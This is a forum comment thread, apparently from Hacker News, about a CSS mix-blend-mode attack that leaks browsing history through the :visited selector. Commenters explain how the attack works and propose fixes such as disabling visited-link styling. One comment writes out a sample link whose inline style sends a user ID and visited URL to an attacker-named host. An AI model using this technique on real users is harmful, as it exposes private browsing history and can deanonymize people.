CSS mix-blend-mode is bad for your browsing history
lcamtuf.blogspot.com
lcamtuf.blogspot.com
Here's one way I can think of to fix it without just taking out the feature or trying to hide its results: redefine "visited" from being "visited ever, from anywhere" to "visited from here". For instance, if I visited a wikipedia article on my own, and it appeared on hacker news, it wouldn't appear as "visited". However, if I clicked on it from hacker news, next time I load hacker news the browser would mark it as visited. I think that would keep all the useful properties of visited, without leaking information.
My own suggestion would be to make :visited something that renders at the browser-chrome level (like OS tooltips or IME controls), rather than the renderer level (like on-page find result highlights or selection-caret link outlines.) Don't hand the state to the renderer process in the first place; just stuff it in the renderer-inaccessible part of the DOM (like XHR response cookies) and then have the browser indicate where on the rendering surface the visited—or maybe unvisited!—links are, in some floating-control fashion (perhaps like Firefox's find-in-page scroll-bar notches.)
Almost. However, sometimes websites are linked to from multiple locations. E.g., there might be links to something posted both on /r/programming, on lobste.rs and on HN. I like the fact that a page I have visited ever, from anywhere, is marked as such everywhere.
l_and:visited and l_and_not are set to background color white, the others black.
512 link 'stacks' are created, each one in a td tag, each one for each possible setting of the 9 sites he checks.
Each of the classes get mix-blend-mode: multiply turned on.
He then looks for a final image with color white -- that's the bitset of your visited sites, since the multiplies will all give white as the output.
Like all the other cross domain policy stuff.
The same idea has been done before, except more cleverly with the color property and captchas:
He also explains how this is different than the captcha POF that you linked because the captcha requires user interaction for each URL tested (something that wasn't necessary before the browsers mitigated against it). He explains how to reduce this to a single user interaction, by exploiting mix-blend-mode.
Yes, :visited is a key part of the exploit, but to say it's just that isn't accurate.
It seems like a perfect example of leaky abstractions.
What does this mean?
It means the problem was solved accidentally.
Luckily enough, all problems will be solved for good by rewriting the browser in Rust, according to my reliable 10x engineer sources.
I'm probably not explaining it very well, but you can read the full details of the hack here: http://lcamtuf.coredump.cx/css_calc/
Has anyone tried something like this, e.g. with the userstyles plugin?
layout.css.visited_links_enabled
(if missing, create it as a boolean)I disabled :visited coloring a long time ago and it hasn't caused any significant problems. It just took a few weeks to get used to the changed link colors.
the fix was just dis-allowing CSP to restrict to http.
Side note: Michał is truly prolific, I get the feeling that his dream is to have a full system secure against common attackers, which consumers might actually want to use. He seems to attack every piece of system software in every way from design flaws to implementation bugs.
This is why OPs point is still true. Without JavaScript, this information is worthless.
No JS required, just CSS and HTTP.
For example: you'd hide every link, except the one that should trigger a GET to the attackers server to leave the information there. Easy - and with cascaded :NOT and ~ selectors you can accomplish this on scale. The links would look something like this:
<a href="https://secretsiteone.com/whistleblower/form" style="background-image: (url://uncloakwhistleblowers.com/img/transp.gif?checkeduser=id12345&vistedurl=secretsiteone.com%2Fwhistleblower%2Fform)">
A while back i demonstrated that a website without JS can trigger GET-requests BY HOVERING A LINK. My coworkers didn't believe me - they were wrong. Caveats: When caching is enabled this attack will trigger just once - but that is enough in that case.
I found the codepen, that i had made back then: http://codepen.io/teamgroove/pen/mIxfg
USE LYNX: Turns out one shouldn't just turnoff JS - but images also. Maybe then better use: lynx as a browser (with all cookie-stuff-deavtivated and behind a tor-proxy or better: proxy-chains) if concerned about privacy. Even that will NOT be "secure enough" - of course - it just wouldn't expose your browsing-history in the first place - which was the topic.